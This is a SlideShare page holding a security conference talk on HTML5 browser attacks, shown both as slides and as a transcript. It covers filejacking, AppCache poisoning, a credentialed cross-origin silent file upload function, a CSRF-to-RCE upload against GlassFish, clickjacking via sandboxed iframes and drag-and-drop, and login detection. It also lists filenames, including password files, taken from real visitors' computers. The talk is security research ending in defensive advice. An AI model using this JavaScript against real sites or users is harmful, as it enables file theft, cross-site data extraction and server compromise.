SlideShare a Scribd company logo
Something wicked
this way comes




Krzysztof Kotowicz, SecuRing
kkotowicz@securing.pl
@kkotowicz
Plan
• HTML5 trickery
  •   Filejacking
  •   AppCache poisoning
  •   Silent file upload
  •   IFRAME sandbox aniframebuster
• Don’t get framed!
  • Drag into
  • Drag out content extraction
  • Frame based login detection
• Wrap-up

                                      2
HTML5 trickery



                 3
Filejacking
• HTML5 directory upload (Chrome only)
  <input type=file directory>

• displays this    ====>
• JS gets read access to
    all files within
    chosen folder



                                    4
Filejacking
  Business plan
• set up tempting webpage
• overlay input (CSS) with

• wait for clueless users
• get files & upload them to your server


                                   5
Filejacking




              6
Filejacking




              7
Filejacking
• How clueless users actually are?
  • http://kotowicz.net/wu running for ~13 mo
  • very limited exposure
  • only websec oriented visitors


• 298 clients connected (217 IPs)
• tons of interesting files

                                        8
Filejacking
  LOTS of these ------
    >
• Downloads/#
    BeNaughtyLive.com/
• Downloads/#
    GoLiveTrannies.com/
• BratSluts 11 12 04 Sasha
    Cane Red Tartan
    SchoolGirl XXX 720p
    WMV SEXORS.nzb
• bitches/1300563524557.jpg

                              9
Filejacking
• websec staff!




• but surely no private data?

                                10
Filejacking
•   Wireless Assess points.txt
•   interesting network next to me.txt
•   onlinePasswords.txt
•   s/pw.txt
•   letter of authorization.pdf
•   Staff-<name,surname>.pdf
•   <name,surname> - resume.doc
•   PIT-37, <name,surname>.PITY2010NG
•   Deklaracja_VAT7_Luty_2011.pdf
•   Pricing-Recommendation_CR.xlsm.zip

• but surely no clients data?
                                         11
Filejacking
• sony reports/                • Faktura_numer_26_2011_
    0045_sonymusic.##.zip           <company>.pdf
• SecurityQA.SQL.Injection.    • websec cred~
    Results.v1.1.docx          • security_users.sql.zip
• SSOCrawlTest5.4.097.xml      • !important - questions for
• IPS CDE Wireless Audit-           web developers.docx
     January 2011-1 0.docx     • sslstrip.log~
• IPS Wireless Testing         • ##### Paros Log.txt
     Schedule April 2011.xls
• 01-####### Corporation
    (Security Unarmed             So much for the
    Guard).xls                      NDAs...

                                                  12
Filejacking

+ All your file are belong to me
+ Trivial to set up
+ Filter files by e.g. extension, size etc.
-   Chrome only
-   Requires users prone to social-
     engineering


                                      13
AppCache poisoning
 HTML5 Offline Web
  Applications
 <html manifest=cache.manifest>

• cache.manifest lists URLs to cache
• cache expires only when CACHE MANIFEST
                              index.html
   manifest is changed     stylesheet.css
                           images/logo.png
                           scripts/main.js


                                  14
AppCache poisoning
• abuse to persist man-in-the-middle
  • manifest must be MIME text/cache-manifest
  • Chrome fills AppCache without user
     confirmation
• two steps
  • poison AppCache while m-i-t-m
  • have payloads stay forever in cache


                                          15
AppCache poisoning
• tamper http://victim/
   <html manifest=/robots.txt>
   <script>evil()</script>
• tamper http://victim/robots.txt
      CACHE MANIFEST
      CACHE:
      http://victim/
      NETWORK:
      *                             16
AppCache poisoning
  Later on, after m-i-t-m:
1. http://victim/ fetched from AppCache
2. browser checks for new manifest
     GET /robots.txt
3. receives text/plain robots.txt & ignores it
4. tainted AppCache is still used


                                      17
AppCache poisoning

+ Poison any URL
+ Payload stays until manually removed
-   Chrome or Firefox with user
     interaction
-   Needs active man-in-the-middle

     https://github.com/koto/sslstrip

                                        18
Silent file upload
• File upload purely in Javascript
• Emulates <input type=file> with:
  • any file name
  • any file content
• File constructed in Javascript
    (it’s not a real file!)
• Uses Cross Origin Resource Sharing

                                     19
Silent file upload
• Cross Origin Resource Sharing
   = cross domain AJAX
http://attacker.com/

var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");


                                        20
Silent file upload
• raw multipart/form-data request
function fileUpload(url, fileData, fileName) {
   var boundary = "xxxxxxxxx",
       xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data,
boundary="+boundary);


                                       21
Silent file upload

var b = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.setRequestHeader("Content-Length", b.length);
xhr.send(b);



                                          22
Silent file upload

+ No user interaction
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response



                                23
Silent file upload




                DEMO
              Flickr.com




                           24
Silent file upload
• GlassFish Enterprise Server 3.1.
  • CVE 2012-0550 by Roberto Suggi Liverani
• //goo.gl/cOu1F
  logUrl = 'http://glassfishserver/
    management/domain/applications/
    application';
  fileUpload(c,"maliciousarchive.war");

• logged admin + CSRF = RCE
                                       25
IFRAME sandbox aniframebuster
• Used to embed untrusted content
  sandbox="
    allow-same-origin
    allow-scripts
    allow-forms
    allow-top-navigation"
  • prevents JS execution in frame
  • prevents defacement
• Facilitates clickjacking!
                                     26
Clickjacking?




                27
IFRAME sandbox aniframebuster
http://attacker.com

<iframe sandbox="
allow-forms allow-scripts"
 src="//victim"></iframe>
                 http://victim


                top.location = self.location
                // doesn’t work:(




                                        28
IFRAME sandbox aniframebuster

+ Chrome / Safari / IE 10
+ Will disable most JS framebusters
-   X-Frame-Options




                                  29
Don’t get framed!



                30
Same origin policy
• makes web (relatively) safe
  • restricts cross-origin communication
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • UI redressing

                                           31
UI Redressing?




      Jedi mind tricks on victim users
                                    32
UI Redressing
 • This is not the page you’re looking at
 • This is not the thing you’re clicking
 • .................................................. dragging
 • .................................................. typing
 • .................................................. copying


 • Victims attack the applications for us


                                                                 33
Exploiting users




           //goo.gl/DgPpY   34
Drag into
• Put attackers content into victim form




                                   35
Drag into




               DEMO
            Alphabet Hero




                            36
Drag into

+ Inject arbitrary content
+ Trigger self-XSS
-   Firefox only (will die soon!)
-   X-Frame-Options




                                    37
Drag out content extraction



    image


                    image




                              38
Drag out content extraction



    image
        victim
      <iframe>
                    image




                              39
Drag out content extraction



    image
        victim
      <iframe>
                   textarea
                     <textarea>




                                  40
Drag out content extraction

<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                                     41
Drag out content extraction




                              42
Drag out content extraction




                              43
Drag out content extraction

+ Access sensitive content cross domain
-   Firefox only (will die soon!)
-   X-Frame-Options




                                    44
Frame-based login detection
• Are you now logged in to these
   websites?
  • facebook.com
  • amazon.com
  • a-banking-site.secure
• Why should I care?
  • e.g. launch CSRF / other attacks


                                       45
Frame-based login detection
• Previous work:
  • Cache timing, lcamtuf
  • Abusing HTTP Status Code, Mike Cardwell
  • Anchor Element Position Detection, Paul
     Stone

    <iframe src=//
    victim/#logout />
                                        46
Frame-based login detection




                              47
Frame-based login detection

<iframe src="//victim/login">

 //victim /login
<input id=login>
<script>
document.getElementById('login').focus()
</script>    



                                48
Frame-based login detection




             DEMO




                              49
Summary
• HTML5 is attacker’s friend too!
• Don’t get framed
• Users based pwnage FTW

  Developers:
  Use X-Frame-Options:
   DENY
                                    50
Wake up, I’m done!
•   html5sec.org
•   code.google.com/p/html5security
•   www.contextis.co.uk/research/white-papers/clickjacking


•   blog.kotowicz.net
•   github.com/koto
    Twitter: @kkotowicz
    kkotowicz@securing.pl


    Thanks @0x6D6172696F, @garethheyes, @theKos,
      @7a_, @lavakumark, @malerisch, @skeptic_fx, ....

                                                        51

More Related Content

PDF
Html5: something wicked this way comes - HackPra
PDF
Advanced Chrome extension exploitation
PDF
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
PDF
When you don't have 0days: client-side exploitation for the masses
PDF
Hacking Adobe Experience Manager sites
PDF
Browser Horror Stories
PDF
Html5 for Security Folks
PPTX
Html5 security
Html5: something wicked this way comes - HackPra
Advanced Chrome extension exploitation
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
When you don't have 0days: client-side exploitation for the masses
Hacking Adobe Experience Manager sites
Browser Horror Stories
Html5 for Security Folks
Html5 security

What's hot (20)

PDF
The Hidden XSS - Attacking the Desktop & Mobile Platforms
PDF
Defcon 20-zulla-improving-web-vulnerability-scanning
PDF
Protecting Java EE Web Apps with Secure HTTP Headers
PPTX
Web Application Security in front end
PDF
WebView security on iOS (EN)
PPTX
14. html 5 security considerations
PPT
Browser Security
PPTX
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
PDF
Hacking sites for fun and profit
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
KEY
Advanced CSRF and Stateless Anti-CSRF
PDF
Securing your web application through HTTP headers
PDF
Hacking sites for fun and profit
PDF
HTTP Security Headers Every Java Developer Must Know
PDF
Entity provider selection confusion attacks in JAX-RS applications
PDF
Hey My Web App is Slow Where is the Problem
PDF
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
PPT
Django (Web Applications that are Secure by Default)
PPT
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
PPTX
Evolution Of The Web Platform & Browser Security
The Hidden XSS - Attacking the Desktop & Mobile Platforms
Defcon 20-zulla-improving-web-vulnerability-scanning
Protecting Java EE Web Apps with Secure HTTP Headers
Web Application Security in front end
WebView security on iOS (EN)
14. html 5 security considerations
Browser Security
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Hacking sites for fun and profit
Case Study of Django: Web Frameworks that are Secure by Default
Advanced CSRF and Stateless Anti-CSRF
Securing your web application through HTTP headers
Hacking sites for fun and profit
HTTP Security Headers Every Java Developer Must Know
Entity provider selection confusion attacks in JAX-RS applications
Hey My Web App is Slow Where is the Problem
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Django (Web Applications that are Secure by Default)
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Evolution Of The Web Platform & Browser Security
Ad

Viewers also liked (8)

PPTX
Main Task Evaluation: Question 2
PPTX
Todorovs theory with lady gaga
PPTX
Embracing Social Media: Using It to Our Advantage
DOC
GráFicos Da Pesquisa Janeiro2010
ODP
The impossible quiz powerpoint edition v1.0
PPT
Earth Sun and Moon
PDF
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
PDF
Html5: something wicked this way comes
Main Task Evaluation: Question 2
Todorovs theory with lady gaga
Embracing Social Media: Using It to Our Advantage
GráFicos Da Pesquisa Janeiro2010
The impossible quiz powerpoint edition v1.0
Earth Sun and Moon
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Html5: something wicked this way comes
Ad

Similar to Something wicked this way comes - CONFidence (20)

PDF
Html5: Something wicked this way comes (Hack in Paris)
PPTX
External JavaScript Widget Development Best Practices (updated) (v.1.1)
PPTX
External JavaScript Widget Development Best Practices
PPTX
Java scriptwidgetdevelopmentjstanbul2012
PDF
Antisnatchor all you ever wanted to know about beef
PDF
ZeroNights2012_BeEF_Workshop_antisnatchor
PPTX
Devouring Security Insufficient data validation risks Cross Site Scripting
PDF
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
PDF
Metasploitation part-1 (murtuja)
PDF
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
PPTX
Security research over Windows #defcon china
PDF
Building Client-Side Attacks with HTML5 Features
PDF
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
PDF
Krzysztof Kotowicz - Hacking HTML5
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PDF
Jinx - Malware 2.0
PDF
Rich Web App Security - Keeping your application safe
PPTX
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
PPTX
Javascript Security - Three main methods of defending your MEAN stack
Html5: Something wicked this way comes (Hack in Paris)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices
Java scriptwidgetdevelopmentjstanbul2012
Antisnatchor all you ever wanted to know about beef
ZeroNights2012_BeEF_Workshop_antisnatchor
Devouring Security Insufficient data validation risks Cross Site Scripting
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
Metasploitation part-1 (murtuja)
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
Security research over Windows #defcon china
Building Client-Side Attacks with HTML5 Features
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
Krzysztof Kotowicz - Hacking HTML5
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Jinx - Malware 2.0
Rich Web App Security - Keeping your application safe
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Javascript Security - Three main methods of defending your MEAN stack

More from Krzysztof Kotowicz (11)

PDF
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
PDF
Trusted Types @ W3C TPAC 2018
PDF
Trusted Types and the end of DOM XSS
PDF
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
PDF
Hacking HTML5 offensive course (Zeronights edition)
PDF
HTML5: Atak i obrona
PDF
I'm in your browser, pwning your stuff
PDF
Creating, obfuscating and analyzing malware JavaScript
PDF
Jak ocalić swoje dane przed SQL injection?
PDF
SQL Injection: complete walkthrough (not only) for PHP developers
PPT
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types @ W3C TPAC 2018
Trusted Types and the end of DOM XSS
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Hacking HTML5 offensive course (Zeronights edition)
HTML5: Atak i obrona
I'm in your browser, pwning your stuff
Creating, obfuscating and analyzing malware JavaScript
Jak ocalić swoje dane przed SQL injection?
SQL Injection: complete walkthrough (not only) for PHP developers
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)

Recently uploaded (20)

PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PPTX
Big Data Technologies - Introduction.pptx
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Encapsulation theory and applications.pdf
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPT
Teaching material agriculture food technology
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Review of recent advances in non-invasive hemoglobin estimation
Advanced methodologies resolving dimensionality complications for autism neur...
Big Data Technologies - Introduction.pptx
Reach Out and Touch Someone: Haptics and Empathic Computing
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Diabetes mellitus diagnosis method based random forest with bat algorithm
Encapsulation theory and applications.pdf
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Per capita expenditure prediction using model stacking based on satellite ima...
20250228 LYD VKU AI Blended-Learning.pptx
Dropbox Q2 2025 Financial Results & Investor Presentation
Teaching material agriculture food technology
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Digital-Transformation-Roadmap-for-Companies.pptx
Mobile App Security Testing_ A Comprehensive Guide.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Review of recent advances in non-invasive hemoglobin estimation

Something wicked this way comes - CONFidence

  • 1. Something wicked this way comes Krzysztof Kotowicz, SecuRing kkotowicz@securing.pl @kkotowicz
  • 2. Plan • HTML5 trickery • Filejacking • AppCache poisoning • Silent file upload • IFRAME sandbox aniframebuster • Don’t get framed! • Drag into • Drag out content extraction • Frame based login detection • Wrap-up 2
  • 4. Filejacking • HTML5 directory upload (Chrome only) <input type=file directory> • displays this ====> • JS gets read access to all files within chosen folder 4
  • 5. Filejacking Business plan • set up tempting webpage • overlay input (CSS) with • wait for clueless users • get files & upload them to your server 5
  • 8. Filejacking • How clueless users actually are? • http://kotowicz.net/wu running for ~13 mo • very limited exposure • only websec oriented visitors • 298 clients connected (217 IPs) • tons of interesting files 8
  • 9. Filejacking LOTS of these ------ > • Downloads/# BeNaughtyLive.com/ • Downloads/# GoLiveTrannies.com/ • BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb • bitches/1300563524557.jpg 9
  • 10. Filejacking • websec staff! • but surely no private data? 10
  • 11. Filejacking • Wireless Assess points.txt • interesting network next to me.txt • onlinePasswords.txt • s/pw.txt • letter of authorization.pdf • Staff-<name,surname>.pdf • <name,surname> - resume.doc • PIT-37, <name,surname>.PITY2010NG • Deklaracja_VAT7_Luty_2011.pdf • Pricing-Recommendation_CR.xlsm.zip • but surely no clients data? 11
  • 12. Filejacking • sony reports/ • Faktura_numer_26_2011_ 0045_sonymusic.##.zip <company>.pdf • SecurityQA.SQL.Injection. • websec cred~ Results.v1.1.docx • security_users.sql.zip • SSOCrawlTest5.4.097.xml • !important - questions for • IPS CDE Wireless Audit- web developers.docx January 2011-1 0.docx • sslstrip.log~ • IPS Wireless Testing • ##### Paros Log.txt Schedule April 2011.xls • 01-####### Corporation (Security Unarmed So much for the Guard).xls NDAs... 12
  • 13. Filejacking + All your file are belong to me + Trivial to set up + Filter files by e.g. extension, size etc. - Chrome only - Requires users prone to social- engineering 13
  • 14. AppCache poisoning HTML5 Offline Web Applications <html manifest=cache.manifest> • cache.manifest lists URLs to cache • cache expires only when CACHE MANIFEST index.html manifest is changed stylesheet.css images/logo.png scripts/main.js 14
  • 15. AppCache poisoning • abuse to persist man-in-the-middle • manifest must be MIME text/cache-manifest • Chrome fills AppCache without user confirmation • two steps • poison AppCache while m-i-t-m • have payloads stay forever in cache 15
  • 16. AppCache poisoning • tamper http://victim/ <html manifest=/robots.txt> <script>evil()</script> • tamper http://victim/robots.txt CACHE MANIFEST CACHE: http://victim/ NETWORK: * 16
  • 17. AppCache poisoning Later on, after m-i-t-m: 1. http://victim/ fetched from AppCache 2. browser checks for new manifest GET /robots.txt 3. receives text/plain robots.txt & ignores it 4. tainted AppCache is still used 17
  • 18. AppCache poisoning + Poison any URL + Payload stays until manually removed - Chrome or Firefox with user interaction - Needs active man-in-the-middle https://github.com/koto/sslstrip 18
  • 19. Silent file upload • File upload purely in Javascript • Emulates <input type=file> with: • any file name • any file content • File constructed in Javascript (it’s not a real file!) • Uses Cross Origin Resource Sharing 19
  • 20. Silent file upload • Cross Origin Resource Sharing = cross domain AJAX http://attacker.com/ var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 20
  • 21. Silent file upload • raw multipart/form-data request function fileUpload(url, fileData, fileName) {    var boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); 21
  • 22. Silent file upload var b = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.setRequestHeader("Content-Length", b.length); xhr.send(b); 22
  • 23. Silent file upload + No user interaction + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 23
  • 24. Silent file upload DEMO Flickr.com 24
  • 25. Silent file upload • GlassFish Enterprise Server 3.1. • CVE 2012-0550 by Roberto Suggi Liverani • //goo.gl/cOu1F logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); • logged admin + CSRF = RCE 25
  • 26. IFRAME sandbox aniframebuster • Used to embed untrusted content sandbox=" allow-same-origin allow-scripts allow-forms allow-top-navigation" • prevents JS execution in frame • prevents defacement • Facilitates clickjacking! 26
  • 28. IFRAME sandbox aniframebuster http://attacker.com <iframe sandbox=" allow-forms allow-scripts" src="//victim"></iframe> http://victim top.location = self.location // doesn’t work:( 28
  • 29. IFRAME sandbox aniframebuster + Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Options 29
  • 31. Same origin policy • makes web (relatively) safe • restricts cross-origin communication • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • UI redressing 31
  • 32. UI Redressing? Jedi mind tricks on victim users 32
  • 33. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 33
  • 34. Exploiting users //goo.gl/DgPpY 34
  • 35. Drag into • Put attackers content into victim form 35
  • 36. Drag into DEMO Alphabet Hero 36
  • 37. Drag into + Inject arbitrary content + Trigger self-XSS - Firefox only (will die soon!) - X-Frame-Options 37
  • 38. Drag out content extraction image image 38
  • 39. Drag out content extraction image victim <iframe> image 39
  • 40. Drag out content extraction image victim <iframe> textarea <textarea> 40
  • 41. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 41
  • 42. Drag out content extraction 42
  • 43. Drag out content extraction 43
  • 44. Drag out content extraction + Access sensitive content cross domain - Firefox only (will die soon!) - X-Frame-Options 44
  • 45. Frame-based login detection • Are you now logged in to these websites? • facebook.com • amazon.com • a-banking-site.secure • Why should I care? • e.g. launch CSRF / other attacks 45
  • 46. Frame-based login detection • Previous work: • Cache timing, lcamtuf • Abusing HTTP Status Code, Mike Cardwell • Anchor Element Position Detection, Paul Stone <iframe src=// victim/#logout /> 46
  • 48. Frame-based login detection <iframe src="//victim/login"> //victim /login <input id=login> <script> document.getElementById('login').focus() </script>     48
  • 50. Summary • HTML5 is attacker’s friend too! • Don’t get framed • Users based pwnage FTW Developers: Use X-Frame-Options: DENY 50
  • 51. Wake up, I’m done! • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, .... 51